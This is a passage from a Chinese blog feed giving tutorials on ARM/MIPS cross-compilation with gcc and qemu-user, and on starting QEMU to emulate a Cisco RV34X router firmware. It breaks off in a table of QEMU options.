class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>为了在终端直接使用交叉编译工具，接着添加环境变量：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">vim</span> /etc/profile<span class="token comment"># 在文件的最后，加入下面两个----之间的内容</span>-----------------------------------------------------------------<span class="token builtin class-name">export</span> <span class="token assign-left variable"><span class="token environment constant">PATH</span></span><span class="token operator">=</span><span class="token environment constant">$PATH</span>:/usr/local/arm/gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf/bin<span class="token builtin class-name">export</span> <span class="token assign-left variable">LD_LIBRARY_PATH</span><span class="token operator">=</span><span class="token variable">$LD_LIBRARY_PATH</span>:/usr/local/arm/gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf/lib-----------------------------------------------------------------<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%918.png" alt="多架构与交叉编译8.png"></p><p>验证环境变量：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">source</span> /etc/profile   <span class="token comment"># 使环境变量生效，如果重启机器，可能需要再执行一次</span>arm-linux-gnueabihf-gcc <span class="token parameter variable">-v</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%919.png" alt="多架构与交叉编译9.png"></p><p>到这里就配置成功了</p><hr><h3 id="ARM-交叉编译"><a href="#ARM-交叉编译" class="headerlink" title="ARM 交叉编译"></a>ARM 交叉编译</h3><p>接下来测试一下 ARM 的交叉编译，编写一个简单的 C 程序：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;stdio.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"hello ARM !!!\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>然后使用 <code>arm-linux-gnueabihf-gcc</code> 编译并查看二进制文件：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">arm-linux-gnueabihf-gcc test.c <span class="token parameter variable">-o</span> my_arm_file<span class="token function">file</span> my_arm_file<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>如果没有出现报错，说明我们的环境是没有问题的</p><p>可以看到 <code>my_arm_file</code> 是一个 32 位的 ARM 架构的二进制文件（小端序）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%9111.png" alt="多架构与交叉编译11.png"></p><p>但是由于我们本机是 x86 架构，因此是无法运行该程序的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%9112.png" alt="多架构与交叉编译12.png"></p><p>这里显示我们缺少 <code>/lib/ld-linux-armhf.so.3</code> 文件</p><blockquote><p>为了避免出现 <code>lib</code> 库的问题，建议使用静态编译，即加上参数 <code>-static</code>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">arm-linux-gnueabihf-gcc test.c <span class="token parameter variable">-o</span> my_arm_file <span class="token parameter variable">-static</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>这样就不会再报这种缺少 <code>lib</code> 文件的错误了</p></blockquote><p>安装相关库：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> libc6-armhf-cross<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>成功后会有 <code>/usr/arm-linux-gnueabihf</code> 文件夹，这里面有我们缺少的文件：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%9122.png" alt="多架构与交叉编译22.png"></p><blockquote><p>想要运行该 ARM 架构的程序，我们需要先安装 QEMU</p><p>详见本站的《<a href="e9324890.html">IoT环境搭建与固件分析</a>》一文的《<a href="e9324890.html#%E5%AE%89%E8%A3%85-QEMU">安装 QEMU</a>》部分 </p></blockquote><p>使用 QEMU 的用户级工具 <code>qemu-arm-static</code> 来执行 ARM 架构的二进制程序：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 使用 -L 指定运行的 lib 环境</span>qemu-arm-static <span class="token parameter variable">-L</span> /usr/arm-linux-gnueabihf/ ./my_arm_file<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%9113.png" alt="多架构与交叉编译13.png"></p><p>可以看到执行成功</p><hr><h2 id="MIPS-架构"><a href="#MIPS-架构" class="headerlink" title="MIPS 架构"></a>MIPS 架构</h2><blockquote><p>MIPS 架构广泛被使用在许多电子产品、网络设备、个人娱乐设备与商业设备上，是一种采取精简指令集（RISC）的处理器架构</p></blockquote><h3 id="各种-MIPS-架构名称的区别"><a href="#各种-MIPS-架构名称的区别" class="headerlink" title="各种 MIPS 架构名称的区别"></a>各种 MIPS 架构名称的区别</h3><blockquote><p>相比于 ARM 架构，MIPS 架构的名称就少多了</p></blockquote><p>MIPS 的 32 位主要有 <code>mips</code> 和 <code>mipsel</code> 两种，它们的区别在于： </p><ul><li><code>mips</code> 是大端序的  </li><li><code>mipsel</code> 是小端序的</li></ul><p>我们日常使用的 x86 架构的 Windows 系统通常也是小端序的</p><p>另外，<code>mips</code> 和 <code>mipsel</code> 对应的 64 位分别为 <code>mips64</code> 和 <code>mips64el</code>，同样是对应大端序和小端序的关系</p><p><strong>通常来说，在 Linux 中 <code>mips</code> 指代 32 位大端序，而 <code>mipsel</code> 指代 32 位小端序；<code>mips64</code> 指代 64 位大端序，而 <code>mips64el</code> 指代 64 位小端序</strong></p><hr><h3 id="交叉编译环境搭建-1"><a href="#交叉编译环境搭建-1" class="headerlink" title="交叉编译环境搭建"></a>交叉编译环境搭建</h3><blockquote><p>注意：</p><p>与 ARM 和 AArch64 不同，MIPS 的交叉编译器可以直接通过 <code>-mabi=32</code> 和 <code>-mabi=64</code> 参数来指定生成 32 位或 64 位的二进制程序（编译 64 位需要安装带 <code>multilib</code> 的版本）</p><p>但是，**<code>mips</code> 编译的二进制程序是大端序，<code>mipsel</code> 编译的是小端序**</p></blockquote><p><em>这里以大端序的 MIPS 编译器为例</em>，<mark>小端序的 MIPS 编译器将 <code>mips</code> 改为 <code>mipsel</code> 即可，其他操作完全一致</mark></p><p>由于我本机是 64 位的 x86 架构 Kali Linux，首先需要安装 32 位库：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> dpkg --add-architecture i386<span class="token function">sudo</span> <span class="token function">apt</span> update<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> libncurses5-dev lib32z1<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> libc6:i386 libstdc++6:i386<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><ul><li><code>apt</code> 安装</li></ul><p>与 ARM 架构的交叉编译环境搭建类似，这种安装方式的优点是简单，但<strong>缺点是受版本的限制，如果需要编译特定的版本，则建议手动编译安装</strong></p><p>搜索合适的版本：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 这里主要搜索 mips 架构，可以按照需要修改</span><span class="token function">apt-cache</span> search mips-linux <span class="token operator">|</span> <span class="token function">grep</span> <span class="token parameter variable">-E</span> <span class="token string">'gcc|g\+\+'</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%9114.png" alt="多架构与交叉编译14.png"></p><p>图中可以看到主要有带 <code>multilib</code> 和不带 <code>multilib</code> 的两个版本，带 <code>multilib</code> 的版本适用于编译支持多种不同的目标架构和 ABI 的程序的场景，<strong>比如想要编译 64 位的程序就需要安装带 <code>multilib</code> 的版本</strong></p><p>安装 <code>mips-linux-gcc</code> 和 <code>mips-linux-g++</code>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 也可以指定其他版本，参照上图，这里演示默认安装</span><span class="token comment"># 安装 32 位编译器</span><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> gcc-mips-linux-gnu<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> g++-mips-linux-gnu<span class="token comment"># 安装 64 位编译器</span><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> gcc-multilib-mips-linux-gnu<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> g++-multilib-mips-linux-gnu<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>安装相关依赖：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> linux-libc-dev-mips-cross libc6-mips-cross libc6-dev-mips-cross binutils-mips-linux-gnu<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>测试安装：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">mips-linux-gnu-gcc <span class="token parameter variable">-v</span>mips-linux-gnu-g++ <span class="token parameter variable">-v</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%9115.png" alt="多架构与交叉编译15.png"></p><p>卸载：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> remove gcc-mips-linux-gnu<span class="token function">sudo</span> <span class="token function">apt</span> remove g++-mips-linux-gnu<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><hr><h3 id="MIPS-交叉编译"><a href="#MIPS-交叉编译" class="headerlink" title="MIPS 交叉编译"></a>MIPS 交叉编译</h3><p>接下来测试一下 MIPS 的交叉编译，编写一个简单的 C 程序：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;stdio.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"hello MIPS !!!\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>然后使用 <code>mips-linux-gnu-gcc</code> 编译并查看二进制文件：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 编译 32 位二进制程序</span><span class="token comment"># 也可以不加 -mabi=32 参数，默认编译为 32 位程序</span>mips-linux-gnu-gcc <span class="token parameter variable">-mabi</span><span class="token operator">=</span><span class="token number">32</span> test.c <span class="token parameter variable">-o</span> my_mips32_file<span class="token function">file</span> my_mips32_file<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>如果没有出现报错，说明我们的环境是没有问题的</p><p>可以看到 <code>my_mips32_file</code> 是一个 32 位的 MIPS 架构的二进制文件（大端序）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%9116.png" alt="多架构与交叉编译16.png"></p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 编译 64 位二进制程序</span>mips-linux-gnu-gcc <span class="token parameter variable">-mabi</span><span class="token operator">=</span><span class="token number">64</span> test.c <span class="token parameter variable">-o</span> my_mips64_file<span class="token function">file</span> my_mips64_file<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>在编译 64 位程序时，如果没有安装带 <code>multilib</code> 的 <code>mips-linux-gnu-gcc</code> 版本，会出现如下报错：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">In <span class="token function">file</span> included from /usr/mips-linux-gnu/include/features.h:514,                 from /usr/mips-linux-gnu/include/bits/libc-header-start.h:33,                 from /usr/mips-linux-gnu/include/stdio.h:27,                 from test.c:1:/usr/mips-linux-gnu/include/gnu/stubs.h:35:11: fatal error: gnu/stubs-n64_hard.h: 没有那个文件或目录   <span class="token number">35</span> <span class="token operator">|</span> <span class="token comment"># include &lt;gnu/stubs-n64_hard.h></span>      <span class="token operator">|</span>           ^~~~~~~~~~~~~~~~~~~~~~compilation terminated.<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>安装了带 <code>multilib</code> 的 <code>mips-linux-gnu-gcc</code> 版本后，可以看到 <code>my_mips64_file</code> 是一个 64 位的 MIPS 架构的二进制文件（大端序）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%9117.png" alt="多架构与交叉编译17.png"></p><p>但是由于我们本机是 x86 架构，因此是无法运行该程序的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%9118.png" alt="多架构与交叉编译18.png"></p><p>这里显示我们缺少 <code>/lib64/ld.so.1</code> 文件</p><blockquote><p>为了避免出现 <code>lib</code> 库的问题，建议使用静态编译，即加上参数 <code>-static</code>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">mips-linux-gnu-gcc <span class="token parameter variable">-mabi</span><span class="token operator">=</span><span class="token number">32</span> test.c <span class="token parameter variable">-o</span> my_mips32_file <span class="token parameter variable">-static</span>  mips-linux-gnu-gcc <span class="token parameter variable">-mabi</span><span class="token operator">=</span><span class="token number">64</span> test.c <span class="token parameter variable">-o</span> my_mips64_file <span class="token parameter variable">-static</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>这样就不会再报这种缺少 <code>lib</code> 文件的错误了</p></blockquote><p>安装相关库：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> libc6-mips-cross<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>成功后会有 <code>/usr/mips-linux-gnu</code> 文件夹，这里面有我们缺少的文件：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%9121.png" alt="多架构与交叉编译21.png"></p><blockquote><p>想要运行该 MIPS 架构的程序，我们需要先安装 QEMU</p><p>详见本站的《<a href="e9324890.html">IoT环境搭建与固件分析</a>》一文的《<a href="e9324890.html#%E5%AE%89%E8%A3%85-QEMU">安装 QEMU</a>》部分 </p></blockquote><p>使用 QEMU 的用户级工具 <code>qemu-mips-static</code> 和 <code>qemu-mips64-static</code> 来执行 MIPS 架构的二进制程序：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 使用 -L 指定运行的 lib 环境</span>qemu-mips-static <span class="token parameter variable">-L</span> /usr/mips-linux-gnu/ ./my_mips32_file<span class="token comment"># 使用 -L 指定运行的 lib 环境</span>qemu-mips64-static <span class="token parameter variable">-L</span> /usr/mips-linux-gnu/ ./my_mips64_file<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%9120.png" alt="多架构与交叉编译20.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%9119.png" alt="多架构与交叉编译19.png"></p><p>可以看到执行成功</p><hr>]]></content>
    
    
    <summary type="html">主要介绍了 ARM、MIPS 等架构的相关基础，以及如何查看系统的架构、如何在 x86 的物理机上搭建 ARM 和 MIPS 等架构的交叉编译环境，这些也是作为 IoT 漏洞分析中的基础技能</summary>
    
    
    
    <category term="IoT固件分析" scheme="https://www.uf4te.cn/categories/IoT%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90/"/>
    
    
    <category term="Linux" scheme="https://www.uf4te.cn/tags/Linux/"/>
    
    <category term="IoT" scheme="https://www.uf4te.cn/tags/IoT/"/>
    
    <category term="交叉编译" scheme="https://www.uf4te.cn/tags/%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91/"/>
    
  </entry>
  
  <entry>
    <title>IoT固件仿真与gdbserver远程调试</title>
    <link href="https://www.uf4te.cn/posts/40df1975.html"/>
    <id>https://www.uf4te.cn/posts/40df1975.html</id>
    <published>2024-06-16T14:16:49.000Z</published>
    <updated>2025-11-12T15:08:52.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="IoT-固件仿真"><a href="#IoT-固件仿真" class="headerlink" title="IoT 固件仿真"></a>IoT 固件仿真</h1><blockquote><p>想要复现真实的硬件环境，但是又没有真实的硬件设备，我们就需要对固件进行仿真</p></blockquote><p>注意：<strong>本文需要固件环境搭建和固件分析作为前置基础</strong>，请先参考本站《<a href="e9324890.html">IoT环境搭建与固件分析</a>》一文 </p><hr><h2 id="使用-QEMU-仿真"><a href="#使用-QEMU-仿真" class="headerlink" title="使用 QEMU 仿真"></a>使用 QEMU 仿真</h2><blockquote><p>固件仿真以 Cisco 的 <code>RV34X-v1.0.03.29-2022-10-17-13-45-34-PM.img</code> 固件为例</p><p>下载地址：<a href="https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.29">Software Download - Cisco Systems</a></p></blockquote><h3 id="确定仿真架构"><a href="#确定仿真架构" class="headerlink" title="确定仿真架构"></a>确定仿真架构</h3><p>按照本站的《<a href="e9324890.html">IoT环境搭建与固件分析</a>》一文中《<a href="e9324890.html#%E6%9C%AA%E5%8A%A0%E5%AF%86%E5%9B%BA%E4%BB%B6%E7%9A%84%E5%88%86%E6%9E%90">未加密固件的分析</a>》章节提取出固件的文件系统后，接下来进行路由器的仿真 </p><p>由于 <code>RV34X-v1.0.03.29-2022-10-17-13-45-34-PM.img</code> 固件是 32 位小端序 ARM 架构</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA29.png" alt="IOT环境搭建29.png"></p><hr><h3 id="下载-QEMU-镜像"><a href="#下载-QEMU-镜像" class="headerlink" title="下载 QEMU 镜像"></a>下载 QEMU 镜像</h3><p>首先需要下载对应 ARM 架构的 QEMU 内核映像文件，以及磁盘映像文件，下载地址：<a href="https://people.debian.org/~aurel32/qemu/">Index of &#x2F;~aurel32&#x2F;qemu</a></p><p>这里我们选择 <code>armhf</code>，下载图中三个文件：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA30.png" alt="IOT环境搭建30.png"></p><p>也可以直接通过 <code>wget</code> 下载：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">wget</span> https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2 https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>这三个文件的作用：</p><table><thead><tr><th align="left">文件</th><th align="left">作用</th></tr></thead><tbody><tr><td align="left"><code>debian_wheezy_armhf_standard.qcow2</code></td><td align="left">这是一个 QEMU 镜像文件，包含了 Debian Wheezy 操作系统的 ARMHF 架构的根文件系统</td></tr><tr><td align="left"><code>vmlinuz-3.2.0-4-vexpress</code></td><td align="left">这是一个压缩的 Linux 内核镜像文件，版本为 3.2.0，通常在引导过程中被解压并加载到内存中</td></tr><tr><td align="left"><code>initrd.img-3.2.0-4-vexpress</code></td><td align="left">这是一个初始 RAM 磁盘映像文件，在引导过程中加载到内存中的临时根文件系统，用于在实际根文件系统挂载之前执行一些必要的初始化任务</td></tr></tbody></table><blockquote><p>为了方便理解，其实 Kali Linux 本机也存在这样的文件（只不过是 Kali 内核映像），在 <code>/boot</code> 目录下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA31.png" alt="IOT环境搭建31.png"></p></blockquote><hr><h3 id="启动-QEMU-虚拟机"><a href="#启动-QEMU-虚拟机" class="headerlink" title="启动 QEMU 虚拟机"></a>启动 QEMU 虚拟机</h3><p>首先使用如下命令启动 QEMU ARM 虚拟机：（使用系统级的 <code>qemu-system-arm</code>）</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> qemu-system-arm <span class="token punctuation">\</span>  <span class="token parameter variable">-M</span> vexpress-a9 <span class="token punctuation">\</span>  <span class="token parameter variable">-kernel</span> ./vmlinuz-3.2.0-4-vexpress <span class="token punctuation">\</span>  <span class="token parameter variable">-initrd</span> ./initrd.img-3.2.0-4-vexpress <span class="token punctuation">\</span>  <span class="token parameter variable">-drive</span> <span class="token assign-left variable">if</span><span class="token operator">=</span>sd,file<span class="token operator">=</span>./debian_wheezy_armhf_standard.qcow2 <span class="token punctuation">\</span>  <span class="token parameter variable">-append</span> <span class="token string">"root=/dev/mmcblk0p2"</span> <span class="token punctuation">\</span>  <span class="token parameter variable">-net</span> nic <span class="token punctuation">\</span>  <span class="token parameter variable">-net</span> tap,ifname<span class="token operator">=</span>tap0,script<span class="token operator">=</span>no,downscript<span class="token operator">=</span>no <span class="token punctuation">\</span>  <span class="token parameter variable">-nographic</span> <span class="token punctuation">\</span>  <span class="token parameter variable">-smp</span> <span class="token number">4</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>当然也可以将这条命令写入 <code>start.sh</code> 文件（看个人喜好），即：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/bash</span><span class="token function">sudo</span> qemu-system-arm <span class="token punctuation">\</span>  <span class="token parameter variable">-M</span> vexpress-a9 <span class="token punctuation">\</span>  <span class="token parameter variable">-kernel</span> ./vmlinuz-3.2.0-4-vexpress <span class="token punctuation">\</span>  <span class="token parameter variable">-initrd</span> ./initrd.img-3.2.0-4-vexpress <span class="token punctuation">\</span>  <span class="token parameter variable">-drive</span> <span class="token assign-left variable">if</span><span class="token operator">=</span>sd,file<span class="token operator">=</span>./debian_wheezy_armhf_standard.qcow2 <span class="token punctuation">\</span>  <span class="token parameter variable">-append</span> <span class="token string">"root=/dev/mmcblk0p2"</span> <span class="token punctuation">\</span>  <span class="token parameter variable">-net</span> nic <span class="token punctuation">\</span>  <span class="token parameter variable">-net</span> tap,ifname<span class="token operator">=</span>tap0,script<span class="token operator">=</span>no,downscript<span class="token operator">=</span>no <span class="token punctuation">\</span>  <span class="token parameter variable">-nographic</span> <span class="token punctuation">\</span>  <span class="token parameter variable">-smp</span> <span class="token number">4</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>然后就可以通过 <code>start.sh</code> 脚本来启动 QEMU 虚拟机，而不是使用命令行：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">chmod</span> +x start.sh./start.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>启动 QEMU 虚拟机的常用参数及其解释：</p><table><thead><tr><th>参数</th><th>解释</th></tr></thead><tbody><tr><td><code>-M &lt;machine&gt;</code></td><td>指定仿真目标机器类型（如：<code>pc</code>、<code>vexpress-a9</code>）</td></tr><tr><td><code>-kernel &lt;file&gt;</code></td><td>指定内核映像文件</td></tr><tr><td><code>-initrd &lt;file&gt;</code></td><td>指定初始 RAM 磁盘映像文件</td></tr><tr><td><code>-drive &lt;opts&gt;</code></td><td>高级硬盘映像文件配置选项（如：<code>file=&lt;file&gt;,if=&lt;interface&gt;,media=&lt;media&gt;</code>）</td></tr><tr><td><code>-drive file=&lt;file&gt;</code></td><td>指定硬盘映像文件</td></tr><tr><td><code>-append &lt;cmdline&gt;</code></td><td>向内核传递命令行参数</td></tr><tr><td><code>-net nic</code></td><td>添加一个虚拟网络接口卡（默认为 <code>tap0</code>）</td></tr><tr><td><code>-net user</code></td><td>使用用户模式网络堆栈</td></tr><tr><td><code>-net tap,&lt;opts&gt;</code></td><td>使用 TAP 接口进行网络配置（如：<code>ifname=&lt;tapN&gt;</code>、<code>script=&lt;script&gt;</code>、<code>downscript=&lt;script&gt;</code>）</td></tr><tr><td><code>-netdev &lt;opts&gt;</code></td><td>高级网络配置选项（例如：<code>tap,id=&lt;id&gt;,ifname=&lt;tapN&gt;,script=&lt;script&gt;,downscript=&lt;script&gt;</code>）</td></tr><tr><td><code>-nographic</code></td><td>禁用图形输出，所有输出通过控制台</td></tr><tr><td><code>-smp &lt;n&gt;</code></td><td>指定虚拟机使用的虚拟 CPU 数量</td></tr><tr><td><code>-m &lt;size&gt;</code></td><td>指定虚拟机内存大小（例如：<code>512M</code>、<code>1G</code>）</td></tr><tr><td><code>-cpu &lt;model&gt;</code></td><td>指定虚拟 CPU 模型（如：<code>qemu64</code>、<code>host</code>）</td></tr><tr><td><code>-hda &lt;file&gt;</code><br></td><td>指定第一个虚拟硬盘映像文件</td></tr><tr><td><code>-hdb &lt;file&gt;</code><br></td><td>指定第二个虚拟硬盘映像文件</td></tr><tr><td><code>-hdc &lt;file&gt;</code><br></td><td>指定第三个虚拟硬盘映像文件</td></tr><tr><td><code>-hdd &lt;file&gt;</code></td><td>指定第四个虚拟硬盘映像文件</td></tr><tr><td><code>-cdrom &lt;file&gt;</code></td><td>指定 CD-ROM 映像文件</td></tr><tr><td><code>-boot &lt;device&gt;</code></td><td>指定启动设备顺序（例如：<code>a</code>、<code>c</code>、<code>d</code>、<code>n</code>）</td></tr><tr><td><code>-device &lt;device&gt;</code></td><td>添加虚拟设备（例如：<code>virtio-net-device,netdev=&lt;id&gt;</code>）</td></tr><tr><td><code>-serial &lt;opts&gt;</code></td><td>配置虚拟机的串行端口（如：<code>file:&lt;file&gt;</code>、<code>pty</code>、<code>tcp:&lt;host&gt;:&lt;port&gt;</code>）</td></tr><tr><td><code>-monitor &lt;opts&gt;</code></td><td>配置 QEMU 监视器（如：<code>file:&lt;file&gt;</code>、<code>stdio</code>、<code>tcp:&lt;host&gt;:&lt;port&gt;</code>）</td></tr><tr><td><code>-snapshot</code></td><td>启动虚拟机时不保存更改（快照模式）</td></tr><tr><td><code>-usb</code></td><td>启用 USB 支持</td></tr><tr><td><code>-device usb-&lt;device&gt;</code></td><td>添加 USB 设备（如：<code>usb-mouse</code>、<code>usb-keyboard</code>、<code>usb-storage</code>）</td></tr><tr><td><code>-redir &lt;opts&gt;</code></td><td>重定向主机到虚拟机的网络端口（如：<code>tcp:&lt;host-port&gt;::&lt;guest-port&gt;</code>）</td></tr><tr><td><code>-display &lt;opts&gt;</code></td><td>配置显示输出（如：<code>sdl</code>、<code>curses</code>、<code>gtk</code>、<code>vnc=&lt;host&gt;:&lt;port&gt;</code>）</td></tr><tr><td><code>-spice &lt;opts&gt;</code></td><td>配置 SPICE 协议支持，用于高性能的远程显示（如：<code>port=&lt;port&gt;</code>）</td></tr><tr><td><code>-enable-kvm</code></td><td>启用 KVM 